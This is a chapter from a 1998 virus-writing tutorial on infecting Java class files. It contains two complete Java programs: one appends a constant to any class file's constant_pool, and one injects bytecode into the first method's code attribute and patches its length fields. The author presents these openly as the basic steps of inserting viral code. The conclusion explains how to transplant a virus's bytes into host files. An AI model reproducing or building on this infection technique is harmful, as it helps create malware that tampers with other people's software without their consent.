| [ chapter 3 ] introduction Now that we have seen how to modify a java class file, it is time to delve into some java code. The class that will be used in the following examples is the java.io.RandomAccessFile class. The interface for this class is included with the jdk documentation. If you have programmed in a higher level language before and are at least moderately proficient with assembly language, it will be obvious how we may go about infecting a java class file. Since this is not aimed at those who can already write viruses in java (hello? if you can then why am I writing this?) I will point out the most basic steps in infecting a class file. Firstly it is important to realise that executable code in java is reliant upon two things, the code itself which lives in a code_attribute field and the constant_pool which starts ten bytes from the beginning of the file. It is apparent from the previous examples that if we want to insert viral code into a file we can do this relatively easily by just modifiying a few fields here and there. However, trouble occurs when we need our code to be inserted into any file with varying numbers of constants in their constant_pool. This can be easily overcome by allowing for changing offsets in our code. For example, if we are inserting a PrintStream() method which calls a string constant at position constant_pool[y], we must modify the PrintStream() method to use the string at constant_pool[y+constant_pool_length]. We must also modify the calling code (since the method name resides in the constant_pool) such that instead of calling the PrintStream() method with invoke_virtual constant_pool[z] it calls constant_pool[z+constant_pool_length]. (Ed: later on you will see that we must decrement the constant_pool_length by one for it all to work this is because the constant_pool[0] is reserved for the virtual machine and does not appear in the class file) For the following examples, the positions where these modifications are inserted have been calculated by hand. The greater problem of creating constant_pools and code_attributes which are self-modifying without going through by hand is tackled further on. analysis example #1 // ============================================= // Title: InsertConstant.java // Author: Landing Camel International // Date: June 1998 // Notes: // This example will write a new string constant // to the end of the constant_pool of any java // class file. The new entry as a hexadecimal // number is: // 0x01000D4C616E64696E672043616D656C // CONST_String Landing Camel // ============================================= import java.io.*; public class InsertConstant { public static void main(String argv[]) throws IOException { //number of new constants in the class file int const_count = 1; //this is the constant to be inserted int old_consts[] = {0x01, 0x00, 0x0D, 0x4C, 0x61, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x61, 0x6D, 0x65, 0x6C}; //change the constant into an array of bytes byte[] new_consts = new byte[old_consts.length]; for (int i=0; i < old_consts.length; i++) { new_consts[i] = (byte)old_consts[i]; } //check that we have a file on the command line if ((argv.length == 0) || (!argv[0].endsWith(".class"))) { System.out.println("Usage: java InsertConstant file.class"); System.exit(1); } //create an instance of the file RandomAccessFile file = new RandomAccessFile(argv[0],"rw"); //read in the current constant_count int fpointer = 8; file.seek(fpointer); int cp_entries = file.readUnsignedShort(); //write new constant_count file.seek(fpointer); file.writeShort(cp_entries+const_count); //seek to the start of the const_pool fpointer += 2; file.seek(fpointer); //iterate through const_pool //remember that doubles and longs count as two for (int i = 1; i < cp_entries; i++) { int tag = file.readUnsignedByte(); fpointer++; int skipper = 0; switch (tag) { case 7: case 8: fpointer += 2; break; case 3: case 4: case 9: case 10: case 11: case 12: fpointer = fpointer + 4; break; case 5: case 6: fpointer = fpointer + 8; i++; break; case 1: skipper = file.readUnsignedShort(); fpointer = fpointer + skipper + 2; break; } file.seek(fpointer); } //save the end of the file int offset = (int)file.length() - fpointer; byte[] end = new byte[offset]; file.read(end, 0, offset); //append our new constant file.seek(fpointer); file.write(new_consts); //restore tail of file file.write(end); //close file file.close(); } } example #2 // ============================================= // Title: InsertCode.java // Author: Landing Camel International // Date: June 1998 // Notes: // This example inserts new executable code into // any java class file. It inserts ten NOP // instructions which have the hex value 0x00, // into the first method attribute of the class // file. // ============================================= import java.io.*; public class InsertCode { public static void main(String argv[]) throws IOException { //length of the new code to be inserted int code_length = 10; //this is the actual to be inserted int old_code[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,}; //change the constant into an array of bytes byte[] new_code = new byte[old_code.length]; for (int i=0; i < old_code.length; i++) { new_code[i] = (byte)old_code[i]; } if ((argv.length == 0) || (!argv[0].endsWith(".class"))) { System.out.println("Usage: java InsertCode file.class"); System.exit(1); } RandomAccessFile file = new RandomAccessFile(argv[0],"rw"); //read in const_count int fpointer = 8; file.seek(fpointer); int cp_entries = file.readUnsignedShort(); //seek to the start of the const_pool fpointer += 2; file.seek(fpointer); //iterate through const_pool for (int i = 1; i < cp_entries; i++) { int tag = file.readUnsignedByte(); fpointer++; int skipper = 0; switch (tag) { case 7: case 8: fpointer += 2; break; case 3: case 4: case 9: case 10: case 11: case 12: fpointer = fpointer + 4; break; case 5: case 6: fpointer = fpointer + 8; i++; break; case 1: skipper = file.readUnsignedShort(); fpointer = fpointer + skipper + 2; break; } file.seek(fpointer); } //read in the number of interfaces fpointer += 6; file.seek(fpointer); int num_interfaces = file.readUnsignedShort(); //iterate through the interface information fpointer = fpointer + 2*(num_interfaces) + 2; file.seek(fpointer); //read in the number of fields int num_fields = file.readUnsignedShort(); fpointer += 2; file.seek(fpointer); //iterate through the fields for (int j=0; j<num_fields; j++) { //skip to the attribute_count fpointer += 6; file.seek(fpointer); int num_f_attributes = file.readUnsignedShort(); //iterate through atribute_info fpointer = fpointer+ 8*(num_f_attributes) + 2; file.seek(fpointer); } //read the number of methods int num_methods = file.readUnsignedShort(); //read the number of method_attributes fpointer += 8; file.seek(fpointer); int num_m_attributes = file.readUnsignedShort(); //read in current attribute_length fpointer += 4; file.seek(fpointer); int attribute_length = file.readInt(); //write new attribute_length file.seek(fpointer); file.writeInt(attribute_length + code_length); //read in current code_length fpointer += 8; file.seek(fpointer); int old_code_length = file.readInt(); //write new code_length file.seek(fpointer); file.writeInt(old_code_length + code_length); fpointer += 4; file.seek(fpointer); //save the end of the file int offset = (int)file.length() - fpointer; byte[] end = new byte[offset]; file.read(end, 0, offset); //append our new code to the end of the file file.seek(fpointer); file.write(new_code); //restore tail of file file.write(end); //close file file.close(); } } conclusion The source code for the two above examples are included with this distribution as wells as a combination of these two examples. From these examples we can clearly see how we can infect a file. We just have to be able to extract the hexadecimal code for the constant_pool and the code_attribute from a viral program we have written and adjust them to account for changing offsets in the host class file.